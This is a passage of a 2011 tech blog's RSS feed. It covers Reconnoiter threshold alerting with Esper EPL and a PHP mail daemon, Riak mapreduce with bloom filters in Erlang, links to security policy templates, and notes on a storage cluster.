&nbsp;&nbsp;&nbsp;&nbsp;$mail = $smtp-&gt;send($to, $headers, $body);
&nbsp;&nbsp;&nbsp;&nbsp;if (PEAR::isError($mail)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo $mail-&gt;getMessage() . &quot;\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;} else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Message successfully sent!\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
}
</code></pre></p>
<p>And the configuration file:<br />
<pre><code class=prettyprint>

{
&quot;global&quot;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;alert_freq&quot;:600,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;contacts&quot;:[&quot;someemail@example.com&quot;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},
&quot;amqp&quot;:{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;host&quot;:&quot;127.0.0.1&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;vhost&quot;:&quot;/&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;port&quot;:5672,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;login&quot;:&quot;noit&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;password&quot;:&quot;noit&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;queue&quot;:&quot;mytest&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;exchange&quot;:&quot;noit.alerts&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;routing_key&quot;:&quot;noit.alerts.threshold&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},
&quot;checks&quot;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;1b4e28ba-2fa1-11d2-883f-b9b761bde3fb&quot;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;average&quot;:{&quot;grace_period&quot;:10,&quot;description&quot;:&quot;Average round-trip time&quot;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},
&quot;smtp&quot;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;from&quot;:&quot;email@gmail.com&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;host&quot;:&quot;ssl://smtp.gmail.com&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;port&quot;:465,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;username&quot;:&quot;email@gmail.com&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;password&quot;:&quot;test&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
}
</code></pre></p>
<p>So at this point,we&#8217;ve got all the basic pieces cobbled together for threshold alerting.</p>
<p>For each metric for which you wish to have threshold monitoring around with e-mail notification, you&#8217;ll need to add a query to the IEP configuration in stratcond that looks like this:<br />
<pre><code class=prettyprint>
&lt;statement id=&quot;&lt;REPLACE WITH UNIQUE QUERY IDENTIFIER&gt;&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;insert into ThresholdChange 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select *, case when value &gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;REPLACE WITH TRESHOLDVALUE&gt; then &#039;WARNING&#039; else &#039;OK&#039; end as status from 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NoitMetricNumeric(uuid=&#039;&lt;REPLACE WITH CHECK IDENTIFIER&gt;&#039;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name=&#039;&lt;REPLACE WITH CHECK METRIC NAME&gt;&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/epl&gt;
&lt;/statement&gt;
</code></pre></p>
<p>Some examples:<br />
<pre><code class=prettyprint>
&lt;statement id=&quot;asdf1&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;insert into ThresholdChange 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select *, case when value &gt; 0.005 then &#039;WARNING&#039; else &#039;OK&#039; end as status from 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NoitMetricNumeric(uuid=&#039;1b4e28ba-2fa1-11d2-883f-b9b761bde3fb&#039;,name=&#039;average&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/epl&gt;
&lt;/statement&gt;
&lt;statement id=&quot;asdf2&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;insert into ThresholdChange 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select *, case when (value &gt; 0.005 and value &gt; 0.008) then &#039;CRITICAL&#039; else &#039;OK&#039; end as status from 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NoitMetricNumeric(uuid=&#039;1b4e28ba-2fa1-11d2-883f-b9b761bde3fb&#039;,name=&#039;average&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/epl&gt;
&lt;/statement&gt;
</code></pre></p>
<p>You may need to fiddle around a bit with the EPL statements. A good way to troubleshoot them is to run the IEP by hand (/usr/local/bin/run-iep.sh) and see the debugging output. Obviously if you&#8217;re familiar with SQL this shouldn&#8217;t be too hard. See <a href="http://esper.codehaus.org/esper-4.4.0/doc/reference/en/html/epl_clauses.html">here</a> for more on EPL. </p>
<p>Basically anything that inserts into the ThresholdChange Esper table will trigger alerts to be sent over AMQP to the daemon when the state changes. The daemon will email when a configured item changes state (from OK to anything else) after grace_period amount of time has passed and the item is in a non-OK state, and will keep nagging every alert_freq seconds. Should the item recover, it will also send out an email. There&#8217;s probably a clever way to do all or most of this logic straight in Esper, but I don&#8217;t have mad Esper skills just yet.</p>
<p>To make the daemon work, you&#8217;ll need the Mail and Net_SMTP pear packages.<br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/10/25/monitoring-with-reconnoiter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fun with bloom filters using Riak mapreduce</title>
		<link>http://www.control-alt-del.org/2011/09/14/fun-with-bloom-filters-using-riak-mapreduce/</link>
		<comments>http://www.control-alt-del.org/2011/09/14/fun-with-bloom-filters-using-riak-mapreduce/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 02:01:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=352</guid>
		<description><![CDATA[So I&#8217;ve been toying with some ideas on how to do large mapreduce jobs, and pushing the processing into Riak (Erlang) to make use of distributed processing and data-locality. It took a while to figure out how to get this &#8230; <a href="http://www.control-alt-del.org/2011/09/14/fun-with-bloom-filters-using-riak-mapreduce/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;ve been toying with some ideas on how to do large mapreduce jobs, and pushing the processing into Riak (Erlang) to make use of distributed processing and data-locality.</p>
<p>It took a while to figure out how to get this to work, but here it is.</p>
<p>First, attach to the riak console<br />
<pre><code>
# riak attach
</code></pre></p>
<p>Wait for the prompt, then you can test with the following code</p>
<p><pre><code class=prettyprint>
{ok, Client} = riak:client_connect(&#039;riak@127.0.0.1&#039;).
B1 = bloom:add_element(&lt;&lt;&quot;abcdef&quot;&gt;&gt;, bloom:bloom(100000)).
B2 = bloom:add_element(&lt;&lt;&quot;boogey woogie&quot;&gt;&gt;, bloom:bloom(100000)).
Client:delete(&lt;&lt;&quot;testbucket&quot;&gt;&gt;,&lt;&lt;&quot;testkey2&quot;&gt;&gt;).
Client:delete(&lt;&lt;&quot;testbucket&quot;&gt;&gt;,&lt;&lt;&quot;testkey1&quot;&gt;&gt;).
Client:put(riak_object:new(&lt;&lt;&quot;testbucket&quot;&gt;&gt;, &lt;&lt;&quot;testkey&quot;&gt;&gt;, term_to_binary(B1))).
Client:mapred_bucket(&lt;&lt;&quot;testbucket&quot;&gt;&gt;, 
&nbsp;&nbsp;&nbsp;&nbsp;[{map, {qfun, fun(Object, undefined, Arg) -&gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;riak_object:key(Object), 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bloom:is_element(Arg, binary_to_term(riak_object:get_value(Object)))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] end}, &lt;&lt;&quot;abcdefg&quot;&gt;&gt;, true}]).
Client:mapred_bucket(&lt;&lt;&quot;testbucket&quot;&gt;&gt;, 
&nbsp;&nbsp;&nbsp;&nbsp;[{map, {qfun, fun(Object, undefined, Arg) -&gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;riak_object:key(Object), 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bloom:is_element(Arg, binary_to_term(riak_object:get_value(Object)))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] end}, &lt;&lt;&quot;abcdef&quot;&gt;&gt;, true}]).
Client:put(riak_object:new(&lt;&lt;&quot;testbucket&quot;&gt;&gt;, &lt;&lt;&quot;testkey2&quot;&gt;&gt;, &lt;&lt;&quot;boogey woogie&quot;&gt;&gt;)).
Client:mapred_bucket(&lt;&lt;&quot;testbucket&quot;&gt;&gt;, [{map, {qfun, fun(Object, undefined, Arg) -&gt; 
&nbsp;&nbsp;&nbsp;&nbsp;[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;riak_object:key(Object), 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bloom:is_element(riak_object:get_value(Object), binary_to_term(Arg))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;] end}, term_to_binary(B2), true}]).
</code></pre></p>
<p>This code tests a couple of things. First, we&#8217;re testing evaluating a bloom filter that&#8217;s stored inside a Riak object against a static argument that&#8217;s passed on to the mapreduce job.</p>
<p>Next, we create a map reduce job that passes a bloom filter as an argument, and test the value of the Riak object against the bloom filter.</p>
<p>This code makes use of the bloom filter which is currently a module that&#8217;s exported inside riak_core.  While with the 0.14 series of Riak, whole bucket operations are very inefficient, this is slated to be vastly improved with the 1.0 release (at least that&#8217;s what I&#8217;ve been told).</p>
<p>Should this pan out to be true, it should be possible to make very efficient queries like those above, and have all the processing done inside of Riak itself, which is pretty amazing.</p>
<p>Cheers</p>
<p>M<br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/09/14/fun-with-bloom-filters-using-riak-mapreduce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Good security policy templates</title>
		<link>http://www.control-alt-del.org/2011/09/14/good-security-policy-templates/</link>
		<comments>http://www.control-alt-del.org/2011/09/14/good-security-policy-templates/#comments</comments>
		<pubDate>Wed, 14 Sep 2011 13:44:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=329</guid>
		<description><![CDATA[As part of crafting new security policies, I&#8217;ve been hunting down some good examples. NIST has a good list So far I&#8217;ve found the department of the interior handbook to be quite a good and comprehensive resource. Dmoz has a &#8230; <a href="http://www.control-alt-del.org/2011/09/14/good-security-policy-templates/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>As part of crafting new security policies, I&#8217;ve been hunting down some good examples.</p>
<ul>
<li><a href="http://csrc.nist.gov/groups/SMA/fasp/areas.html">NIST</a> has a good list</li>
<li>So far I&#8217;ve found the department of the interior <a href="http://csrc.nist.gov/groups/SMA/fasp/documents/policy_procedure/PHB_09172007compat_Final_651.doc">handbook</a> to be quite a good and comprehensive resource.</li>
<li><a href="http://www.dmoz.org/Computers/Security/Policy/Sample_Policies/">Dmoz</a> has a smorgasborg of templates</li>
<li>The CMS <a href="http://csrc.nist.gov/groups/SMA/fasp/documents/pm/IS_policy.doc">IS policy</a> seems to be a good over-reaching policy for starting policy</li>
<li><a href="http://www.ucisa.ac.uk/publications/toolkit.aspx">UCISA</a> has a good toolkit</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/09/14/good-security-policy-templates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Today&#8217;s random thought: Building a massive storage cluster</title>
		<link>http://www.control-alt-del.org/2011/09/13/todays-random-thought-building-a-massive-storage-cluster/</link>
		<comments>http://www.control-alt-del.org/2011/09/13/todays-random-thought-building-a-massive-storage-cluster/#comments</comments>
		<pubDate>Tue, 13 Sep 2011 14:40:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=327</guid>
		<description><![CDATA[Here&#8217;s a pet project that I eventually would like to be putting together. This is just a jumble of thoughts for now, a mental playground if you will. The eventual goal would be to put together some sort of massive &#8230; <a href="http://www.control-alt-del.org/2011/09/13/todays-random-thought-building-a-massive-storage-cluster/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a pet project that I eventually would like to be putting together. This is just a jumble of thoughts for now, a mental playground if you will.</p>
<p>The eventual goal would be to put together some sort of massive cluster together.</p>
<p>Hardware: Backblaze pod http://blog.backblaze.com/2011/07/20/petabytes-on-a-budget-v2-0revealing-more-secrets/</p>
<p>Software:</p>
<ul>
<li>Lustre (http://www.lustre.org). This could be used to cluster the pods together.</li>
<li>ZFS (<a href="http://zfsonlinux.org/">http://zfsonlinux.org/</a>)</li>
<li>SSD client caches <a href="https://github.com/mingzhao/dm-cache">https://github.com/mingzhao/dm-cache</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/09/13/todays-random-thought-building-a-massive-storage-cluster/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

